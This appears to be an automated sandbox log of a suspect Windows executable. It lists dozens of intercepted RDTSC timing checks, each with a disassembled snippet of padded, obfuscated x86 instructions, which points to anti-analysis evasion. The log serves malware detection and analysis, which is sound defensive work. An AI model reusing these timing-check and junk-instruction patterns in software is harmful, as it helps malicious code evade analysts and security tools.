Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939D2 second address: 3939D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939D6 second address: 3939EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jg 00007F4688C929D6h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939EC second address: 3939F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3939F2 second address: 393A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F4688C929E2h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 393B24 second address: 393B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F4688C1B775h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 393B45 second address: 393B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4688C929DFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3982FD second address: 398301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 398301 second address: 398329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F4688C929DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 39B67C second address: 39B686 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 39B686 second address: 39B697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 39B73D second address: 39B743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 39B816 second address: 1CEE86 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 233A3087h 0x00000012 pushad 0x00000013 mov edx, eax 0x00000015 jmp 00007F4688C929E9h 0x0000001a popad 0x0000001b push dword ptr [ebp+122D02D1h] 0x00000021 cmc 0x00000022 call dword ptr [ebp+122D34DBh] 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D1AD8h], ecx 0x0000002f xor eax, eax 0x00000031 cld 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 jmp 00007F4688C929E9h 0x0000003b mov dword ptr [ebp+122D3B28h], eax 0x00000041 add dword ptr [ebp+122D1AD8h], ebx 0x00000047 mov esi, 0000003Ch 0x0000004c mov dword ptr [ebp+122D1AD8h], esi 0x00000052 mov dword ptr [ebp+122D1AD8h], esi 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c clc 0x0000005d lodsw 0x0000005f clc 0x00000060 add eax, dword ptr [esp+24h] 0x00000064 or dword ptr [ebp+122D1AD8h], ebx 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e jmp 00007F4688C929DCh 0x00000073 nop 0x00000074 pushad 0x00000075 push edx 0x00000076 jmp 00007F4688C929DAh 0x0000007b pop edx 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F4688C929E8h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A08F2 second address: 3A08F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A08F8 second address: 3A08FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A08FE second address: 3A0902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A01DA second address: 3A01E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A0630 second address: 3A063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A063A second address: 3A063E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A505B second address: 3A5060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A5060 second address: 3A5066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A5066 second address: 3A506A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A506A second address: 3A508B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F4688C929E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A508B second address: 3A5095 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4688C1B76Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A5095 second address: 3A509D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A509D second address: 3A50A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3769FA second address: 35737C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F4688C929D8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov ecx, esi 0x00000023 lea eax, dword ptr [ebp+1247B77Fh] 0x00000029 mov dword ptr [ebp+122D2384h], ecx 0x0000002f mov dx, 068Ch 0x00000033 push eax 0x00000034 push esi 0x00000035 ja 00007F4688C929DCh 0x0000003b pop esi 0x0000003c mov dword ptr [esp], eax 0x0000003f and di, 3862h 0x00000044 xor dword ptr [ebp+1243E974h], ebx 0x0000004a call dword ptr [ebp+122D1A32h] 0x00000050 push eax 0x00000051 push edx 0x00000052 jno 00007F4688C929D8h 0x00000058 jmp 00007F4688C929E4h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 376E75 second address: 1CEE86 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F4688C1B76Ah 0x00000011 push edi 0x00000012 jng 00007F4688C1B766h 0x00000018 pop edi 0x00000019 popad 0x0000001a nop 0x0000001b mov ecx, dword ptr [ebp+122D32E3h] 0x00000021 push dword ptr [ebp+122D02D1h] 0x00000027 mov dword ptr [ebp+122D324Dh], edx 0x0000002d call dword ptr [ebp+122D34DBh] 0x00000033 pushad 0x00000034 mov dword ptr [ebp+122D1AD8h], ecx 0x0000003a xor eax, eax 0x0000003c cld 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 jmp 00007F4688C1B779h 0x00000046 mov dword ptr [ebp+122D3B28h], eax 0x0000004c add dword ptr [ebp+122D1AD8h], ebx 0x00000052 mov esi, 0000003Ch 0x00000057 mov dword ptr [ebp+122D1AD8h], esi 0x0000005d mov dword ptr [ebp+122D1AD8h], esi 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 clc 0x00000068 lodsw 0x0000006a clc 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f or dword ptr [ebp+122D1AD8h], ebx 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jmp 00007F4688C1B76Ch 0x0000007e nop 0x0000007f pushad 0x00000080 push edx 0x00000081 jmp 00007F4688C1B76Ah 0x00000086 pop edx 0x00000087 push eax 0x00000088 push edx 0x00000089 jmp 00007F4688C1B778h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 376FAE second address: 376FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 376FB4 second address: 376FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 376FB8 second address: 1CEE86 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c mov cx, di 0x0000000f pop edx 0x00000010 xor dword ptr [ebp+122D33DCh], edi 0x00000016 push dword ptr [ebp+122D02D1h] 0x0000001c xor cx, 1B3Dh 0x00000021 call dword ptr [ebp+122D34DBh] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D1AD8h], ecx 0x0000002e xor eax, eax 0x00000030 cld 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007F4688C929E9h 0x0000003a mov dword ptr [ebp+122D3B28h], eax 0x00000040 add dword ptr [ebp+122D1AD8h], ebx 0x00000046 mov esi, 0000003Ch 0x0000004b mov dword ptr [ebp+122D1AD8h], esi 0x00000051 mov dword ptr [ebp+122D1AD8h], esi 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b clc 0x0000005c lodsw 0x0000005e clc 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 or dword ptr [ebp+122D1AD8h], ebx 0x00000069 mov ebx, dword ptr [esp+24h] 0x0000006d jmp 00007F4688C929DCh 0x00000072 nop 0x00000073 pushad 0x00000074 push edx 0x00000075 jmp 00007F4688C929DAh 0x0000007a pop edx 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F4688C929E8h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377314 second address: 37731A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377D08 second address: 377D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377D0C second address: 377D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377DA8 second address: 377DF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F4688C929E5h 0x00000010 lea eax, dword ptr [ebp+1247B77Fh] 0x00000016 pushad 0x00000017 mov dword ptr [ebp+124444CEh], esi 0x0000001d mov dword ptr [ebp+124453C9h], esi 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4688C929E5h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A41E7 second address: 3A41EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A41EB second address: 3A41F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A41F1 second address: 3A41FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A4476 second address: 3A4480 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A4480 second address: 3A448E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F4688C1B76Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A448E second address: 3A44C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F4688C929E6h 0x0000000a ja 00007F4688C929D6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F4688C929DDh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A44C6 second address: 3A44DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F4688C1B76Eh 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A44DE second address: 3A44FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 jmp 00007F4688C929DFh 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A48C9 second address: 3A48CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A48CF second address: 3A48D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A4A22 second address: 3A4A34 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4688C1B766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F4688C1B76Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3A4BFF second address: 3A4C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ADA31 second address: 3ADA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F4688C1B766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 336065 second address: 336077 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F4688C929D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 336077 second address: 336087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F4688C1B77Ah 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC336 second address: 3AC33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC33A second address: 3AC350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4688C1B770h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC350 second address: 3AC355 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC355 second address: 3AC38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F4688C1B774h 0x0000000d jmp 00007F4688C1B779h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC38C second address: 3AC3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4688C929D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007F4688C929D8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F4688C929D6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC3AA second address: 3AC3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC514 second address: 3AC519 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC6C3 second address: 3AC6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ACE49 second address: 3ACE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ACE4D second address: 3ACE51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AD171 second address: 3AD176 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AD8DB second address: 3AD900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F4688C1B766h 0x00000009 jmp 00007F4688C1B778h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AD900 second address: 3AD906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3AC094 second address: 3AC099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B2E1D second address: 3B2E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4688C929D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B2E27 second address: 3B2E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B2F62 second address: 3B2F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929DBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3399 second address: 3B339E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B339E second address: 3B33D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DDh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4688C929E4h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 jp 00007F4688C929D6h 0x0000001f pop eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B33D8 second address: 3B33ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4688C1B76Ch 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B33ED second address: 3B342B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E3h 0x00000007 pushad 0x00000008 jno 00007F4688C929D6h 0x0000000e jmp 00007F4688C929E5h 0x00000013 jmp 00007F4688C929DBh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3587 second address: 3B35C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Dh 0x00000007 jnc 00007F4688C1B76Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 js 00007F4688C1B768h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4688C1B76Eh 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B35C0 second address: 3B35C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B35C8 second address: 3B35D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B385B second address: 3B385F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B385F second address: 3B3863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3863 second address: 3B3897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4688C929E8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4688C929E4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B39D2 second address: 3B39D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3B89 second address: 3B3B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3B8F second address: 3B3B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F4688C1B77Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3B9C second address: 3B3BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3BB1 second address: 3B3BB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
